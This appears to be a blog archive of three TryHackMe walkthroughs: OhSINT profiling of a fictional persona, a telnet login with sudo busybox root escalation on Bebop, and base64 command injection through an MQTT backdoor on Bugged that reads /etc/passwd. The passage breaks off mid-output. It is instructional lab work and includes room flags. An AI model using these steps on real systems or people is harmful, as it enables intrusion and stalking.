Tag: InfoSec

Capture the Flag

TryHackMe Room Walkthrough: OhSINT

What the starting image looks like for the roomToday’s room is called OhSINT. It is another Free Room on TryHackMe, which means that anyone can follow along with me as long as you sign up for a free account. The point of this room is to show you some of the very basics of OSINT (Open-Source Intelligence), which is the process of gathering and analyzing publicly available information to gain insights and intelligence on a subject or target.

Note: This room was updated 2/1/2024, so this walkthrough will probably be different from others if you’re Googling around and found someone who did it closer to release date. This is noted in the room itself.

In this one, we only have an image to go off of. Let’s start with the basics and read the metadata on the image.

$ exiftool WindowsXP_1551719014755.jpg
ExifTool Version Number         : 13.00
File Name                       : WindowsXP_1551719014755.jpg
Directory                       : .
File Size                       : 234 kB
File Modification Date/Time     : 2025:03:08 15:53:27-05:00
File Access Date/Time           : 2025:03:08 15:54:52-05:00
File Inode Change Date/Time     : 2025:03:08 15:54:52-05:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
XMP Toolkit                     : Image::ExifTool 11.27
GPS Latitude                    : 54 deg 17' 41.27" N
GPS Longitude                   : 2 deg 15' 1.33" W
Copyright                       : OWoodflint
Image Width                     : 1920
Image Height                    : 1080
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1920x1080
Megapixels                      : 2.1
GPS Latitude Ref                : North
GPS Longitude Ref               : West
GPS Position                    : 54 deg 17' 41.27" N, 2 deg 15' 1.33" W

Question 1

Searching for the user that has the copyright, “OWoodflint”, I found this Twitter/X profile here.

What is this user’s avatar of?Cat

Question 2

In this person’s tweets, they have one that says:

From my house I can get free wifi ;D

Bssid: B4:5D:50:AA:86:41 - Go nuts!

BSSID is “Basic Service Set Identifier” and is a unique ID to identify a wifi access point.

If I search bssid lookup, the first result is WiGLE: Wireless Network Mapping at https://wigle.net. Okay, let’s check that out. I put the BSSID in the search on the right of the page and hit Filter and my map didn’t change (except all of the dots that had been on there are now gone). My guess was maybe this left *ONLY* that network on the map, so I zoomed all the way out and saw a dot in Europe. I zoomed in and it is in London. This could be me not knowing how to use the site, but it worked.

What city is this person in?London

Question 3

Same site, just get the info of that point.

What is the SSID of the WAP he connected to?UnileverWiFi

Question 4

Back to googling the username. The first result for me was https://github.com/OWoodfl1nt/ I know people associate their emails on GitHub sometimes, so I went into there. In the readme of his people_finder project, it says “Project starting soon! Email me if you want to help out: OWoodflint@gmail.com”

What is his personal email address?OWoodflint@gmail.com

Question 5

What site did you find his email address on?GitHub

Question 6

I didn’t see anything about a holiday/vacation on X/Twitter or GitHub, so back to the google search. It also returns his blog at https://oliverwoodflint.wordpress.com/ His first – and apparently only – post has the answer.

Where has he gone on holiday?New York

Question 7

I actually found this one multiple places on the internet because of this challenge, but not the intended places. So I’m going to work this as intended. From google, basically I just have these three sites: X/Twitter, GitHub, and his blog. Since this is an OSINT challenge, I don’t expect they want us to try to crack his wordpress site. So, in true CTF-style thinking, I went looking for clues in his blog’s HTML source. I scrolled down and found this:

<p style="color:#ffffff;" class="has-text-color">pennYDr0pper.!</p>

Given the HTML, that would mean that it is actually on his site visible except that the text is the same color as the background. And sure enough:

An image showing that the password is actually on the blog post screen all along

What is the person’s password?pennYDr0pper.!

That’s it. Just a fun little very introductory primer on using search engines and social profiles to do some very basic OSINT and show you the beginning of what’s possible. Any questions, let me know.

Capture the Flag

TryHackMe Room Walkthrough: Bebop

An evil drone, representing the drone in this exerciseToday, we’re going work our way through another TryHackMe room called Bebop. This one isn’t in the Free Tier, but it is considered “Easy” and is a “Walkthrough Room” rather than a “Challenge Room”. Because of that, there will be some additional questions in addition to just posting User and Root flags. Getting started, the room description says, “Who thought making a flying shell was a good idea?”. For the first task, it reads, “For this mission, you have been assigned the codename ‘pilot’. Press the Start Machine button to make the drone takeoff!”.

Task 1

“Deploy the machine.”No answer needed
“What is your codename?”pilot

Task 2

With the machine started and enough time elapsed, I first ran an nmap scan to see what we were dealing with.

~# nmap -sCV -T4 10.10.194.21
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-05 16:25 GMT
Nmap scan report for 10.10.194.21
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.5 (FreeBSD 20170903; protocol 2.0)
| ssh-hostkey: 
|   2048 5b:e6:85:66:d8:dd:04:f0:71:7a:81:3c:58:ad:0b:b9 (RSA)
|   256 d5:4e:18:45:ba:d4:75:2d:55:2f:fe:c9:1c:db:ce:cb (ECDSA)
|_  256 96:fc:cc:3e:69:00:79:85:14:2a:e4:5f:0d:35:08:d4 (ED25519)
23/tcp open  telnet  BSD-derived telnetd
MAC Address: 02:D4:65:95:48:91 (Unknown)
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.44 seconds

So, ports 22 (SSH) and 23 (telnet) are open. SSH is rarely the initial way in without any other information, so let’s try telnet, remembering our username of pilot that they’ve already told us and then asked us about. Connecting, I was asked for a login and I typed pilot. This immediately got me to an interactive session. So, they meant Easy easy on this one.

root@ip-10-10-235-128:~# telnet 10.10.194.21
Trying 10.10.194.21...
Connected to 10.10.194.21.
Escape character is '^]'.
login: pilot
Last login: Sat Oct  5 23:48:53 from cpc147224-roth10-2-0-cust456.17-1.cable.virginm.net
FreeBSD 11.2-STABLE (GENERIC) #0 r345837: Thu Apr  4 02:07:22 UTC 2019

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
Want to strip UTF-8 BOM(Byte Order Mark) from given files?

	sed -e '1s/^\xef\xbb\xbf//' < bomfile > newfile
[pilot@freebsd ~]$ 

Doing an ls shows me that we can see the user.txt file in our directory and cat-ing it out gives us the first answer of Task 2.
Okay, so we’re already at a command prompt. No issues here.

[pilot@freebsd ~]$ ls
user.txt
[pilot@freebsd ~]$ cat user.txt
THM{r3m0v3_b3f0r3_fl16h7}

What is the User Flag?THM{r3m0v3_b3f0r3_fl16h7}

Moving on, we need to see what we can do to elevate our privileges to root to get the root flag. One of the first things I usually do is sudo -l to see what we can run as sudo. Since we didn’t use a password to log in, we didn’t know the password if there was one. Luckily, it didn’t ask us one to run this command.

[pilot@freebsd ~]$ sudo -l
User pilot may run the following commands on freebsd:
    (root) NOPASSWD: /usr/local/bin/busybox

Okay, so we can run the binary busybox with sudo as root with no password. Is that useful? This is where I check my favorite PrivEsc companion GTFOBins to see. You can find the entry for busybox here. Taking a small aside, busybox is a utility that you often find in embedded systems that contains its own implementations of things like ls, sh, mv, etc. In these systems, you can execute the commands by calling busybox {command}, or – quite often – the person who set up the system will symlink ls to just call busybox ls, like this: ln -s /bin/busybox /bin/ls, so you might not even know that busybox is involved. This would allow you to only have one binary instead of many, with an overall size savings.

In this case, that means if I call sudo busybox sh, I’ll get a shell opened as root, which is just what happened.

[pilot@freebsd ~]$ sudo busybox sh
# whoami
root

From there, we navigate to the root directory and cat out the file.

# cd /root
# ls
.bash_history	.history	.login		root.txt
.cshrc		.k5login	.profile
# cat root.txt
THM{h16hw4y_70_7h3_d4n63r_z0n3}

What is the Root Flag?THM{h16hw4y_70_7h3_d4n63r_z0n3}

Task 3

What is the low privilleged user?pilot
What binary was used to escalate privileges?busybox
What service was used to gain an initial shell?telnet

Last question, we already knew from what we saw in our nmap scan and also at the dump of information at our login prompt, but you can always check this way from within the system itself.

# uname -a
FreeBSD freebsd 11.2-STABLE FreeBSD 11.2-STABLE #0 r345837: Thu Apr  4 02:07:22 UTC 2019     root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC  amd64

What Operating System does the drone run?FreeBSD

That’s it. The most basic of rooms, but a pretty good entry point into some basic recon and basic PrivEsc if you’re new to this.

Capture the Flag

TryHackMe Challenge Room Walkthrough: Bugged

An image of a robotic mosquito to represent Eclipse MosquittoIn this post, I want to take a look at a room over at TryHackMe called Bugged. This is a free room, which means that you don’t need a paid account to play along. So if you’d like to try it out, or just follow along with my walkthrough, it is available to everyone. I came into this room without any idea of what it is outside of an “Easy” challenge that has an estimated completion time of 30 Minutes. The description of the room reads:

John was working on his smart home appliances when he noticed weird traffic going across the network. Can you help him figure out what these weird network communications are?

That’s it. While I worked through the room, I kept my notes and I’m just writing up this blog post from my notes, so you’ll follow along with whatever I came across. That all being said, I fired up the box and went to work. For me, the IP Address was 10.10.99.76, so that’s what you’ll see in my scans and commands, but you should use whatever IP Address they give you for your box.

Once the box was active and I gave it enough time for services to start, I ran an nmap scan. I kept it very simple and just had -sCV as my only flags to run default scripts and enumerate versions of things. -sC is default scripts and -sV is to do versions, but you can also just combine them like I did into one argument. You can see, though, that nothing came back on the 1000 most common ports.

$ sudo nmap -sCV 10.10.99.76
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 16:34 EST
Nmap scan report for 10.10.99.76
Host is up (0.10s latency).
All 1000 scanned ports on 10.10.99.76 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.00 seconds

My next choice was whether to enumerate all TCP ports (-p-) or switch to UDP. I knew we were dealing with some kind of IoT (Internet of Things) situation, but it wasn’t clear what protocols they might be using. I opted for all TCP ports first. Because we’re doing 65535 ports, I also included -T4 to use a fast Timing Template.

$ sudo nmap -sCV -T4 -p- 10.10.99.76 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 16:41 EST
Nmap scan report for 10.10.99.76
Host is up (0.100s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE                  VERSION
1883/tcp open  mosquitto version 2.0.14
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     $SYS/broker/load/bytes/sent/1min: 362.33
|     frontdeck/camera: {"id":1437912445148180553,"yaxis":87.74393,"xaxis":-108.68722,"zoom":4.2217307,"movement":false}
|     $SYS/broker/uptime: 1265 seconds
|     $SYS/broker/load/bytes/sent/15min: 333.58
|     $SYS/broker/publish/bytes/received: 65577
|     $SYS/broker/load/messages/received/15min: 68.51
|     $SYS/broker/load/messages/received/1min: 90.42
|     patio/lights: {"id":14248824006532743469,"color":"PURPLE","status":"OFF"}
|     $SYS/broker/load/sockets/5min: 0.28
|     $SYS/broker/clients/active: 2
|     $SYS/broker/load/messages/received/5min: 89.30
|     $SYS/broker/bytes/sent: 10406
|     $SYS/broker/load/bytes/received/15min: 3275.98
|     $SYS/broker/load/bytes/received/1min: 4295.31
|     $SYS/broker/clients/disconnected: 0
|     $SYS/broker/load/messages/sent/5min: 90.74
|     livingroom/speaker: {"id":9214619165696293578,"gain":56}
|     $SYS/broker/store/messages/bytes: 282
|     $SYS/broker/version: mosquitto version 2.0.14
|     $SYS/broker/clients/connected: 2
|     $SYS/broker/messages/sent: 1977
|     $SYS/broker/load/bytes/sent/5min: 420.77
|     $SYS/broker/clients/inactive: 0
|     storage/thermostat: {"id":5120676131388820374,"temperature":23.588703}
|     $SYS/broker/messages/received: 1916
|     $SYS/broker/bytes/received: 91685
|     $SYS/broker/load/sockets/15min: 0.16
|     $SYS/broker/load/messages/sent/1min: 90.43
|     $SYS/broker/load/bytes/received/5min: 4266.77
|     $SYS/broker/load/sockets/1min: 0.91
|     $SYS/broker/load/publish/sent/15min: 1.35
|     $SYS/broker/load/publish/sent/5min: 1.44
|_    $SYS/broker/load/messages/sent/15min: 69.86

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 250.54 seconds

We can see now that TCP port 1883 is open. nmap is telling us that port 1883 is for MQTT and it mentions mosquitto version 2.0.14. I am familiar with those things only because of TryHackMe’s Advent of Cyber. I think they’ve had something with mosquitto the last 2 years. Other than that, I’d be clueless. If you do some research about port 1883, you find out that “This port is used for unencrypted MQTT connections. It is the most commonly used MQTT port and is the default port for most MQTT brokers. Using this port, MQTT clients can publish messages, subscribe to topics, and receive published messages.” (shout out EMQX for that summary)

So 1883 is for MQTT, which we kind of knew. What’s MQTT? “MQTT (Message Queuing Telemetry Transport) is a messaging protocol that allows devices to communicate with each other over unreliable networks. It’s a key part of the Internet of Things (IoT) and is used in many applications, including smart devices and industrial automation.” (from a different page at EMQX.com)

We also see from nmap that this is for mosquitto, which is an Open Source MQTT Broker. You can learn more about it here at its homepage. I already have it installed from the Advent of Cyber rooms, but if you want to install it, you can do so like this. This will get you what you will need to do most things.

$ sudo apt install mosquitto mosquitto-clients
mosquitto is already the newest version (2.0.20-1).
mosquitto-clients is already the newest version (2.0.20-1).
Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 2

Now that we have it, let’s explore. From the name, we know MQTT is a Message Queuing thing. So, we know we need to find out what kinds of messages are there. In this case, we’re curious about what topics we can get to. So we can use the mosquitto_sub command with the -h flag to provide the host, -t to provide the topics, and -v gives us verbose messaging. You can see that I used # for the topic. # is a wildcard. According to https://mosquitto.org/man/mqtt-7.html about the -t flag: Clients can receive messages by creating subscriptions. A subscription may be to an explicit topic, in which case only messages to that topic will be received, or it may include wildcards. Two wildcards are available, + or #.

$ mosquitto_sub -h 10.10.99.76 -t "#" -v
frontdeck/camera {"id":3316278497206393273,"yaxis":144.23682,"xaxis":-145.33704,"zoom":3.6814656,"movement":false}
storage/thermostat {"id":4447429892760772140,"temperature":23.896393}
livingroom/speaker {"id":8043902103709725435,"gain":50}
patio/lights {"id":6882341591718616343,"color":"BLUE","status":"ON"}
kitchen/toaster {"id":13944608183956243422,"in_use":true,"temperature":144.01237,"toast_time":197}
storage/thermostat {"id":14824713294408631232,"temperature":23.505255}
livingroom/speaker {"id":14097258738045186455,"gain":69}
patio/lights {"id":10945295088170915799,"color":"ORANGE","status":"ON"}
storage/thermostat {"id":1761967593096677692,"temperature":23.863026}
frontdeck/camera {"id":13659946362156472261,"yaxis":-155.89848,"xaxis":74.208435,"zoom":4.8601637,"movement":false}
kitchen/toaster {"id":54995940908488509,"in_use":false,"temperature":149.31566,"toast_time":162}
livingroom/speaker {"id":4787247383303923045,"gain":55}
storage/thermostat {"id":4101028798481015144,"temperature":24.009056}
patio/lights {"id":3871161962820974111,"color":"PURPLE","status":"OFF"}
livingroom/speaker {"id":17032533523555165243,"gain":60}
storage/thermostat {"id":7267103446169338555,"temperature":23.10556}
kitchen/toaster {"id":17519391021814147087,"in_use":false,"temperature":150.18582,"toast_time":330}
patio/lights {"id":62312332503512946,"color":"BLUE","status":"ON"}
frontdeck/camera {"id":15298122962505503081,"yaxis":-152.87685,"xaxis":103.75702,"zoom":1.4049865,"movement":false}
livingroom/speaker {"id":14524809808299595461,"gain":55}
storage/thermostat {"id":2132556209662210914,"temperature":23.478561}
kitchen/toaster {"id":15084763098398519150,"in_use":false,"temperature":147.05132,"toast_time":152}
patio/lights {"id":12157711019578367482,"color":"BLUE","status":"OFF"}
storage/thermostat {"id":15828996057674607786,"temperature":23.76949}
livingroom/speaker {"id":16187455369153881772,"gain":41}
yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
storage/thermostat {"id":7669397520840774908,"temperature":24.374035}
frontdeck/camera {"id":3732476809053275501,"yaxis":-178.7423,"xaxis":-68.41884,"zoom":1.4278014,"movement":false}
kitchen/toaster {"id":11497578177789502283,"in_use":true,"temperature":147.58412,"toast_time":235}
patio/lights {"id":14209308141761888232,"color":"GREEN","status":"OFF"}
livingroom/speaker {"id":9228878491355405771,"gain":49}
storage/thermostat {"id":1897325864374850629,"temperature":24.048952}
livingroom/speaker {"id":10819232674171975266,"gain":57}
patio/lights {"id":8246779295936973173,"color":"ORANGE","status":"OFF"}
kitchen/toaster {"id":13861366123068819689,"in_use":false,"temperature":153.83165,"toast_time":286}
storage/thermostat {"id":18391360995922244987,"temperature":23.866116}
frontdeck/camera {"id":3098875847381960983,"yaxis":-77.119484,"xaxis":-100.20491,"zoom":0.33455136,"movement":false}
livingroom/speaker {"id":17130018290591971364,"gain":54}
^C 

This will just keep going, so after waiting and watching for a while, I just hit Ctrl-C to cancel it (that’s the ^C you see at the bottom of the output). Note that we just see repeating statuses from multiple devices. The Living Room speaker’s volume is at 50, 55, 60, 55, etc. The Thermostat is 23.9, 23.5, 23.9, etc. Then, as I’m watching this data come by with each device’s sensors reporting status and changes, this weird text shows up in the middle. What is it? First glance, it 100% looks like base64. We could decode it in CyberChef, but we can also do it at the terminal. Breaking down what we’re seeing, there seem to be some parts. First, we see yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config. Then eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==

The first thing is the topic. Note that in our response below, the pub_topic and sub_topic follow a similar convention of characters then / then characters then / then characters then / then /sub or /pub. This one just happens to be /config, which tells us what to do.

$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==" | base64 -d                                        
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}

Okay. So, this /config topic is telling us where they publish and where they subscribe. You have to think about this “backwards” because you don’t publish to the /pub topic, you subscribe to it. /pub is where they publish from and /sub is what they’re subscribed to. So if you want them to hear your message, you publish to where they subscribe. Hopefully, that makes sense.

Okay, so first, let’s subscribe to what they’re publishing. This will just “hang” because it is listening in real time and nothing is coming out yet. We just use the command mosquitto_sub with the host (-h) and the publisher topic (-t), pulled right from that message we decoded.

$ mosquitto_sub -h 10.10.99.76 -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub"

Since we’re not getting anything, let’s publish something. I have to open a new terminal tab because I have to leave the subscriber listening. However, I have no idea what does what, so I use mosquitto_pub with -h for that host -t for the subscription topic from our decoded message and then -m for a message (in this case, “test”).

mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "test"

This just executes with no return message. So I peeked back at my subscriber and a message appeared under our waiting command.

$ mosquitto_sub -h 10.10.99.76 -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub"
SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk=

We have another base64 message, so I decoded that at the terminal.

$ echo "SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk=" | base64 -d
Invalid message format.
Format: base64({"id": "", "cmd": "", "arg": ""}) 

Okay. So, at least it is being helpful. I need to provide some base64 encoded JSON. We don’t know what to put for id (though the original message did have an id of “cdd1b1c0-1c40-4b0f-8e22-61b357548b7d”). We do know what to put for cmd. The original /config message said our options for available commands were HELP, CMD, and SYS. So, I’m going to craft a message with whatever id I want (with their original as a fallback), use the CMD command, and issue whoami as the arg for the command I want to run. So I crafted that and then published it.

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "whoami"}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogIndob2FtaSJ9Cg==

$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogIndob2FtaSJ9Cg=="

Over in our subscriber tab, I got a message back, so I decoded it.

$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiY2hhbGxlbmdlXG4ifQ==" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"challenge\n"} 

I don’t know if that means they didn’t like “hacktheplanet” as an id, if the user is “challenge”, or if that means something else that I can’t figure out at this time. Let’s just try another basic command and see what happens. How about ls?

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "ls"}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImxzIn0K

mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImxzIn0K"

We got a response and we have a much better result this time when I decoded it:

$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZy50eHRcbiJ9" | base64 -d    
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag.txt\n"}

Okay, so either id doesn’t matter, or they just like my style. Let’s see if we can issue another command to cat out the flag.txt file and close out the room.

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "cat flag.txt"}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCBmbGFnLnR4dCJ9Cg==

mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCBmbGFnLnR4dCJ9Cg=="
$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZ3sxOGQ0NGZjMDcwN2FjOGRjOGJlNDViYjgzZGI1NDAxM31cbiJ9" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag{18d44fc0707ac8dc8be45bb83db54013}\n"}   

That’s it. You have the flag and you can close out the room. I am curious, though. What do the other commands do (HELP and SYS)? We didn’t need them, but we have the machine available, why not see?

HELP:

$ echo '{"id": "hacktheplanet", "cmd": "HELP", "arg": ""}' | base64
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJIRUxQIiwgImFyZyI6ICIifQo=
$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJIRUxQIiwgImFyZyI6ICIifQo="              

$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTWVzc2FnZSBmb3JtYXQ6XG4gICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFwiOiBcIjxCYWNrZG9vciBJRD5cIixcbiAgICAgICAgXCJjbWRcIjogXCI8Q29tbWFuZD5cIixcbiAgICAgICAgXCJhcmdcIjogXCI8YXJnPlwiLFxuICAgIH0pXG5cbkNvbW1hbmRzOlxuICAgIEhFTFA6IERpc3BsYXkgaGVscCBtZXNzYWdlICh0YWtlcyBubyBhcmcpXG4gICAgQ01EOiBSdW4gYSBzaGVsbCBjb21tYW5kXG4gICAgU1lTOiBSZXR1cm4gc3lzdGVtIGluZm9ybWF0aW9uICh0YWtlcyBubyBhcmcpXG4ifQ==" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Message format:\n    Base64({\n        \"id\": \"\",\n        \"cmd\": \"\",\n        \"arg\": \"\",\n    })\n\nCommands:\n    HELP: Display help message (takes no arg)\n    CMD: Run a shell command\n    SYS: Return system information (takes no arg)\n"}   

SYS:

$ echo '{"id": "hacktheplanet", "cmd": "SYS", "arg": ""}' | base64                                                                              
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJTWVMiLCAiYXJnIjogIiJ9Cg==

$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJTWVMiLCAiYXJnIjogIiJ9Cg=="
$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTGludXggeDY0IDUuNC4wLTEwNS1nZW5lcmljIn0=" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Linux x64 5.4.0-105-generic"}   

Okay, so those were pretty basic. HELP just further explained what we kind of intuited and was kind of a combination of some of what was in the error message we got after our test message and some of what was in the /config topic. I still have one lingering question, though. Was that a user called challenge in the response from my first properly formatted message? Let’s check the /etc/passwd file… turns out, yes, the user was called challenge (the very last line down there tells us that: challenge:x:1000:1000::/home/challenge:/bin/sh).

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "cat /etc/passwd"}' | base64                                                                              
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCAvZXRjL3Bhc3N3ZCJ9Cg==

$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCAvZXRjL3Bhc3N3ZCJ9Cg=="
$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoicm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaFxuZGFlbW9uOng6MToxOmRhZW1vbjovdXNyL3NiaW46L3Vzci9zYmluL25vbG9naW5cbmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpblxuc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luXG5zeW5jOng6NDo2NTUzNDpzeW5jOi9iaW46L2Jpbi9zeW5jXG5nYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpblxubWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW5cbmxwOng6Nzo3OmxwOi92YXIvc3Bvb2wvbHBkOi91c3Ivc2Jpbi9ub2xvZ2luXG5tYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luXG5uZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luXG51dWNwOng6MTA6MTA6dXVjcDovdmFyL3Nwb29sL3V1Y3A6L3Vzci9zYmluL25vbG9naW5cbnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpblxud3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpblxuYmFja3VwOng6MzQ6MzQ6YmFja3VwOi92YXIvYmFja3VwczovdXNyL3NiaW4vbm9sb2dpblxubGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpblxuaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6